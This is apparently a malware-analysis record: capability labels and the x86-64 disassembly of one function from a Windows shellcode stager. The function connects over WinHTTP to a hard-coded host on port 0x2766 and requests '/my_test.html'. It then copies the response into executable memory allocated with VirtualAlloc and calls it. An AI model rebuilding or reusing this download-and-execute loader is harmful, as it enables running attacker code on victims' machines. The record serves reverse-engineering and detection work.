Function at 0x1400031a0
Capabilities:
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0xf0
mov rdi, rsp
mov ecx, 0x3c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x100]
mov rax, qword [0x140016010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
call fcn.1400023f0
movzx eax, al
test eax, eax
je 0x1400031fe
xor r9d, r9d
lea r8, [0x14000f8f8]
lea rdx, [0x14000f900]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140002440
movzx eax, al
test eax, eax
je 0x140003223
xor r9d, r9d
lea r8, [0x14000f8f8]
lea rdx, [0x14000f908]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140003130
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Apache_2.2
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000349c
xor r9d, r9d
mov r8w, 0x2766
lea rdx, str.62.345
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000348e
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._my_test.html
lea rdx, [0x14000f958]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140003480
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x140003472
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x140003361
lea rcx, str.Remote_GET_successful_n
call fcn.1400010f0
jmp 0x14000336d
lea rcx, str.Remote_GET_failed_n
call fcn.1400010f0
mov dword [rsp + 0x94], 0
mov dword [rsp + 0xb4], 4
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x94]
xor r8d, r8d
mov edx, 0x20000005
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x140003470
mov eax, dword [rsp + 0x94]
inc eax
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140003470
mov eax, dword [rsp + 0x94]
inc eax
lea r9, [rsp + 0x64]
mov r8d, eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
je 0x140003470
mov eax, dword [rsp + 0x94]
cmp dword [rsp + 0x64], eax
jne 0x140003470
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
call qword [0x14000f5f8]
jmp 0x140003470
jmp 0x14000347e
lea rcx, str.Failed_to_send_request_n
call fcn.1400010f0
jmp 0x14000348c
lea rcx, str.Failed_to_open_request_n
call fcn.1400010f0
jmp 0x14000349a
lea rcx, str.Failed_to_connect_server_n
call fcn.1400010f0
jmp 0x1400034a8
lea rcx, str.Session_creation_failed_n
call fcn.1400010f0
cmp qword [rsp + 0x50], 0
je 0x1400034bb
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x48], 0
je 0x1400034ce
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x40], 0
je 0x1400034e1
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400108c0]
call fcn.14000b86c
mov rax, rdi
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14000a1f0
add rsp, 0xf0
pop rdi
ret